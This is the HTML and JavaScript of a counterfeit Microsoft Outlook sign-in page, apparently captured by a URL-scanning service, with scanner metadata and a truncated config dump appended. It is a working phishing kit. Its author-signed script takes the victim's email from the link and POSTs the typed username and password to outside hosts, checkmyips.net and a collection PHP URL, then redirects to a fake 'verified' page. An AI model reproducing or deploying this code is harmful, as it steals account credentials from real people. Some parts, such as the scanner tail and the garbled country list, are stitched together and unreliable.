
<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
144.76.69.233 , Germany, ASN24940 (HETZNER-AS, DE),
Reverse DNS
static.233.69.76.144.clients.your-server.de
Software
/
Resource Hash
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

access-control-allow-origin
*
documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg
aadcdn.msftauth.net/shared/1.0/content/images/ Frame 83F5 		2 KB
923 B 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6t